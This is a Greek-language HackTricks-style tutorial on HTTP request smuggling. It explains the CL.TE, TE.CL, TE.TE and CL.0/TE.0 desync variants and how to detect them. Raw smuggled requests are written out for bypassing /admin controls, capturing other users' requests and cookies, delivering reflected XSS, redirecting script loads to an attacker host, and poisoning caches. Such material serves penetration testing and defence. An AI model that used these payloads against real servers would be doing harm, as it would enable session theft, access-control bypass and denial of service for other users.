HTTP Request Smuggling / HTTP Desync Attack

Υποστήριξη HackTricks

Τι είναι

Αυτή η ευπάθεια συμβαίνει όταν μια αποσυγχρονισμένη κατάσταση μεταξύ των proxy front-end και του server back-end επιτρέπει σε έναν επιτιθέμενο να στείλει ένα HTTP request που θα ερμηνευτεί ως ένα μόνο request από τους proxy front-end (load balance/reverse-proxy) και ως 2 requests από τον server back-end. Αυτό επιτρέπει σε έναν χρήστη να τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του.

Θεωρία

RFC Specification (2161)

Εάν ληφθεί ένα μήνυμα με τόσο πεδίο κεφαλίδας Transfer-Encoding όσο και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.

Content-Length

Η κεφαλίδα Content-Length υποδεικνύει το μέγεθος του σώματος της οντότητας, σε bytes, που αποστέλλεται στον παραλήπτη.

Transfer-Encoding: chunked

Η κεφαλίδα Transfer-Encoding προσδιορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος του payload στον χρήστη. Το chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών.

Πραγματικότητα

Ο Front-End (ένα load-balance / Reverse Proxy) επεξεργάζεται την κεφαλίδα content-length ή την κεφαλίδα transfer-encoding και ο Back-end server επεξεργάζεται την άλλη προκαλώντας μια αποσυγχρονισμένη κατάσταση μεταξύ των 2 συστημάτων. Αυτό μπορεί να είναι πολύ κρίσιμο καθώς ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request στον reverse proxy που θα ερμηνευτεί από τον server back-end ως 2 διαφορετικά requests. Ο κίνδυνος αυτής της τεχνικής έγκειται στο γεγονός ότι ο server back-end θα ερμηνεύσει το 2ο request που εισάγεται σαν να προήλθε από τον επόμενο πελάτη και το πραγματικό request αυτού του πελάτη θα είναι μέρος του εισαγμένου request.

Ιδιαιτερότητες

Θυμηθείτε ότι στο HTTP ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:

  • Content-Length: Αυτή η κεφαλίδα χρησιμοποιεί έναν δεκαδικό αριθμό για να υποδείξει τον αριθμό των bytes του σώματος του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request.

  • Transfer-Encoding: Αυτή η κεφαλίδα χρησιμοποιεί στο σώμα έναν εξαδικό αριθμό για να υποδείξει τον αριθμό των bytes του επόμενου κομματιού. Το chunk πρέπει να τελειώνει με μια νέα γραμμή αλλά αυτή η νέα γραμμή δεν μετράται από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές: 0

  • Connection: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε Connection: keep-alive στο πρώτο request του request Smuggling.

Βασικά Παραδείγματα

Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite απενεργοποιήστε το Update Content-Length και Normalize HTTP/1 line endings στον επαναλήπτη γιατί ορισμένα gadgets εκμεταλλεύονται τις νέες γραμμές, τις επιστροφές καροτσιού και τα κακώς διαμορφωμένα content-lengths.

Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας ασαφή requests που εκμεταλλεύονται τις διαφορές στον τρόπο που οι servers front-end και back-end ερμηνεύουν τις κεφαλίδες Content-Length (CL) και Transfer-Encoding (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν σε διάφορες μορφές, κυρίως ως CL.TE, TE.CL, και TE.TE. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι servers front-end και back-end δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από την επεξεργασία του ίδιου request από τους servers με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και δυνητικά κακόβουλα αποτελέσματα.

Βασικά Παραδείγματα Τύπων Ευπάθειας

Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding.

CL.TE Ευπάθεια (Content-Length που χρησιμοποιείται από Front-End, Transfer-Encoding που χρησιμοποιείται από Back-End)

  • Front-End (CL): Επεξεργάζεται το request με βάση την κεφαλίδα Content-Length.

  • Back-End (TE): Επεξεργάζεται το request με βάση την κεφαλίδα Transfer-Encoding.

  • Σενάριο Επίθεσης:

  • Ο επιτιθέμενος στέλνει ένα request όπου η τιμή της κεφαλίδας Content-Length δεν ταιριάζει με το πραγματικό μήκος περιεχομένου.

  • Ο server front-end προωθεί ολόκληρο το request στον back-end, με βάση την τιμή Content-Length.

  • Ο server back-end επεξεργάζεται το request ως chunked λόγω της κεφαλίδας Transfer-Encoding: chunked, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ένα ξεχωριστό, επόμενο request.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Ευπάθεια (Transfer-Encoding που χρησιμοποιείται από Front-End, Content-Length που χρησιμοποιείται από Back-End)

  • Front-End (TE): Επεξεργάζεται το request με βάση την κεφαλίδα Transfer-Encoding.

  • Back-End (CL): Επεξεργάζεται το request με βάση την κεφαλίδα Content-Length.

  • Σενάριο Επίθεσης:

  • Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (7b) και το πραγματικό μήκος περιεχομένου (Content-Length: 4) δεν ευθυγραμμίζονται.

  • Ο server front-end, τιμώντας το Transfer-Encoding, προωθεί ολόκληρο το request στον back-end.

  • Ο server back-end, σεβόμενος το Content-Length, επεξεργάζεται μόνο το αρχικό μέρος του request (7b bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Ευπάθεια (Transfer-Encoding που χρησιμοποιείται και από τους δύο, με παραπλάνηση)

  • Servers: Και οι δύο υποστηρίζουν Transfer-Encoding, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης.

  • Σενάριο Επίθεσης:

  • Ο επιτιθέμενος στέλνει ένα request με παραπλανημένες κεφαλίδες Transfer-Encoding.

  • Ανάλογα με το ποιος server (front-end ή back-end) αποτυγχάνει να αναγνωρίσει την παραπλάνηση, μπορεί να εκμεταλλευτεί μια ευπάθεια CL.TE ή TE.CL.

  • Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Σενάριο (Content-Length που χρησιμοποιείται και από τους Front-End και Back-End)

  • Και οι δύο servers επεξεργάζονται το request αποκλειστικά με βάση την κεφαλίδα Content-Length.

  • Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Σενάριο

  • Αναφέρεται σε σενάρια όπου η κεφαλίδα Content-Length είναι παρούσα και έχει τιμή διαφορετική από το μηδέν, υποδεικνύοντας ότι το σώμα του request έχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα Content-Length (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.

  • Είναι κρίσιμο στην κατανόηση και την κατασκευή επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers προσδιορίζουν το τέλος ενός request.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Σενάριο

  • Όπως το προηγούμενο αλλά χρησιμοποιώντας TE

  • Παράδειγμα:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Σπάζοντας τον διακομιστή ιστού

Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να σπάσει ένας διακομιστής ιστού ενώ διαβάζετε τα αρχικά δεδομένα HTTP αλλά χωρίς να κλείσετε τη σύνδεση. Με αυτόν τον τρόπο, το σώμα του αιτήματος HTTP θα θεωρείται το επόμενο αίτημα HTTP.

Για παράδειγμα, όπως εξηγείται σε αυτή τη γραφή, στο Werkzeug ήταν δυνατό να σταλούν μερικοί Unicode χαρακτήρες και αυτό θα έκανε τον διακομιστή να σπάσει. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το σώμα του αιτήματος θα αντιμετωπιστεί ως το επόμενο αίτημα HTTP.

Εξανα forcing μέσω κεφαλίδων hop-by-hop

Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον proxy να διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling.

Connection: Content-Length

Για περισσότερες πληροφορίες σχετικά με τις κεφαλίδες hop-by-hop επισκεφθείτε:

hop-by-hop headers

Εύρεση HTTP Request Smuggling

Η αναγνώριση ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του πόσο χρόνο χρειάζεται ο διακομιστής για να απαντήσει σε παραποιημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρουν τέτοιες ευπάθειες:

Εύρεση Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης

  • Μέθοδος:

  • Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει επιπλέον δεδομένα.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Παρατήρηση:

  • Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το Content-Length και κόβει το μήνυμα πρόωρα.

  • Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση.

  • Δείκτες:

  • Χρονοθυρίδες ή μεγάλες καθυστερήσεις στην απάντηση.

  • Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.

Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης

  • Μέθοδος:

  • Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα προκαλέσει τον διακομιστή back-end να περιμένει επιπλέον δεδομένα.

  • Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Παρατήρηση:

  • Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το Transfer-Encoding και προωθεί ολόκληρο το μήνυμα.

  • Ο διακομιστής back-end, περιμένοντας ένα μήνυμα με βάση το Content-Length, περιμένει επιπλέον δεδομένα που ποτέ δεν φτάνουν, προκαλώντας καθυστέρηση.

Άλλες Μέθοδοι για να Βρείτε Ευπάθειες

  • Ανάλυση Διαφορετικών Απαντήσεων:

  • Στείλτε ελαφρώς παραλλαγμένες εκδόσεις ενός αιτήματος και παρατηρήστε αν οι απαντήσεις του διακομιστή διαφέρουν με απροσδόκητο τρόπο, υποδεικνύοντας μια διαφορά στην ανάλυση.

  • Χρησιμοποιώντας Αυτοματοποιημένα Εργαλεία:

  • Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν αυτόματα να δοκιμάσουν αυτές τις ευπάθειες στέλνοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις.

  • Δοκιμές Διαφορετικών Τιμών Content-Length:

  • Στείλτε αιτήματα με μεταβαλλόμενες τιμές Content-Length που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες.

  • Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:

  • Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες Transfer-Encoding και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις.

Δοκιμή Ευπάθειας HTTP Request Smuggling

Αφού επιβεβαιωθεί η αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθευτεί αν τα αιτήματα του πελάτη μπορούν να παραποιηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντάς το αίτημα προς το / να αποδώσει μια απάντηση 404. Τα παραδείγματα CL.TE και TE.CL που συζητήθηκαν προηγουμένως στο Basic Examples δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να αποκτήσει πρόσβαση σε διαφορετικό πόρο.

Κύριες Σκέψεις

Κατά τη δοκιμή ευπαθειών request smuggling παρεμβαίνοντας σε άλλα αιτήματα, έχετε υπόψη:

  • Διακριτές Δικτυακές Συνδέσεις: Τα "επίθεση" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.

  • Συνεπής URL και Παράμετροι: Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.

  • Χρονομέτρηση και Συνθήκες Αγώνα: Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.

  • Προκλήσεις Φορτωτικής Ισορροπίας: Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοσταθμιστή φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.

  • Ακούσια Επίδραση στους Χρήστες: Εάν η επίθεσή σας επηρεάσει ακούσια το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.

Κατάχρηση HTTP Request Smuggling

Παράκαμψη Ασφαλείας Front-End μέσω HTTP Request Smuggling

Μερικές φορές, οι διακομιστές front-end επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο /admin μπορεί να απαγορεύεται εξωτερικά, με τον διακομιστή front-end να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.

Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή /admin, η οποία συνήθως φυλάσσεται από τον διακομιστή front-end:

Παράδειγμα CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Στην επίθεση CL.TE, η κεφαλίδα Content-Length χρησιμοποιείται για το αρχικό αίτημα, ενώ το επόμενο ενσωματωμένο αίτημα χρησιμοποιεί την κεφαλίδα Transfer-Encoding: chunked. Ο μεσολαβητής front-end επεξεργάζεται το αρχικό αίτημα POST αλλά αποτυγχάνει να ελέγξει το ενσωματωμένο αίτημα GET /admin, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στο μονοπάτι /admin.

TE.CL Παράδειγμα

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Αντίθετα, στην επίθεση TE.CL, το αρχικό POST αίτημα χρησιμοποιεί Transfer-Encoding: chunked, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα Content-Length. Παρόμοια με την επίθεση CL.TE, ο πρόξενος της εμπρός πλευράς παραβλέπει το λαθραίο αίτημα GET /admin, παραχωρώντας ακούσια πρόσβαση στη περιορισμένη διαδρομή /admin.

Αποκάλυψη αναδιατύπωσης αιτημάτων εμπρός πλευράς

Οι εφαρμογές συχνά χρησιμοποιούν έναν διακομιστή εμπρός πλευράς για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή πίσω πλευράς. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως X-Forwarded-For: <IP του πελάτη>, για να μεταφέρει τη διεύθυνση IP του πελάτη στον διακομιστή πίσω πλευράς. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για να παρακαμφθούν οι προστασίες ή να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης.

Για να ερευνήσετε πώς ένας πρόξενος τροποποιεί ένα αίτημα, εντοπίστε μια παράμετρο POST που ο διακομιστής πίσω πλευράς επαναλαμβάνει στην απάντηση. Στη συνέχεια, δημιουργήστε ένα αίτημα, χρησιμοποιώντας αυτή την παράμετρο τελευταία, παρόμοια με το εξής:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Σε αυτή τη δομή, τα επόμενα στοιχεία αιτήματος προστίθενται μετά το search=, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.

Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα Content-Length του εσωτερικού αιτήματος με το πραγματικό μήκος περιεχομένου. Είναι σκόπιμο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.

Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα θα πρέπει να τερματίζεται με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.

Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα.

Capturing other users' requests

Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως την τιμή μιας παραμέτρου κατά τη διάρκεια μιας λειτουργίας POST. Να πώς μπορεί να επιτευχθεί αυτό:

Με την προσθήκη του παρακάτω αιτήματος ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Σε αυτό το σενάριο, η παράμετρος σχολίου προορίζεται να αποθηκεύσει τα περιεχόμενα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Ως εκ τούτου, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.

Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο λαθραίο αίτημα. Για τις υποβολές φορμών με κωδικοποίηση URL, αυτός ο διαχωριστής είναι ο χαρακτήρας &. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στον πρώτο &, ο οποίος μπορεί ακόμη και να είναι μέρος της συμβολοσειράς ερωτήματος.

Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης βιώσιμη με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.

Χρησιμοποιώντας το HTTP request smuggling για να εκμεταλλευτείτε το Reflected XSS

Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί ευάλωτες ιστοσελίδες σε Reflected XSS, προσφέροντας σημαντικά πλεονεκτήματα:

  • Η αλληλεπίδραση με τους στόχους χρήστες δεν απαιτείται.

  • Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι κανονικά μη προσβάσιμα, όπως οι κεφαλίδες αιτήματος HTTP.

Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Αυτό το payload είναι δομημένο για να εκμεταλλευτεί την ευπάθεια με:

  1. Να ξεκινήσει ένα POST αίτημα, φαινομενικά τυπικό, με ένα Transfer-Encoding: chunked header για να υποδείξει την αρχή της λαθραίας μεταφοράς.

  2. Να ακολουθήσει με ένα 0, που σηματοδοτεί το τέλος του σώματος του chunked μηνύματος.

  3. Στη συνέχεια, εισάγεται ένα λαθραίο GET αίτημα, όπου το User-Agent header είναι εγχυμένο με ένα script, <script>alert(1)</script>, ενεργοποιώντας το XSS όταν ο διακομιστής επεξεργάζεται αυτό το επόμενο αίτημα.

Με την παραποίηση του User-Agent μέσω της λαθραίας μεταφοράς, το payload παρακάμπτει τους κανονικούς περιορισμούς αιτημάτων, εκμεταλλευόμενο έτσι την ευπάθεια Reflected XSS με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.

HTTP/0.9

Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε μια απάντηση με Content-type όπως text/plain, αποτρέποντας την εκτέλεση του XSS. Αν ο διακομιστής υποστηρίζει HTTP/0.9 μπορεί να είναι δυνατό να παρακαμφθεί αυτό!

Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο GET ρήματα και δεν απαντά με headers, μόνο το σώμα.

Σε αυτή την αναφορά, αυτό εκμεταλλεύτηκε με μια λαθραία μεταφορά αιτήματος και ένα ευάλωτο endpoint που θα απαντήσει με την είσοδο του χρήστη για να λαθραία μεταφέρει ένα αίτημα με HTTP/0.9. Η παράμετρος που θα αντανακλαστεί στην απάντηση περιείχε μια ψεύτικη απάντηση HTTP/1.1 (με headers και σώμα) έτσι ώστε η απάντηση να περιέχει έγκυρο εκτελέσιμο JS κώδικα με Content-Type text/html.

Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling

Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το όνομα κεντρικού υπολογιστή από το Host header στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:

GET /home HTTP/1.1
Host: normal-website.com

Αποτελέσματα σε:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Αν και φαίνεται αβλαβές, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει τους χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Αυτό το λαθραίο αίτημα θα μπορούσε να προκαλέσει την επόμενη επεξεργασμένη αίτηση χρήστη να ανακατευθυνθεί σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Αποτελέσματα σε:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Η δηλητηρίαση της μνήμης cache του ιστού μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της υποδομής front-end αποθηκεύει περιεχόμενο, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατό να δηλητηριαστεί η cache.

Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε Basic Examples). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο /index.html ως απάντηση σε ένα αίτημα για /static/include.js. Ως αποτέλεσμα, το περιεχόμενο /static/include.js αντικαθίσταται στην cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο στους χρήστες, γεγονός που μπορεί να οδηγήσει σε άρνηση υπηρεσίας (DoS).

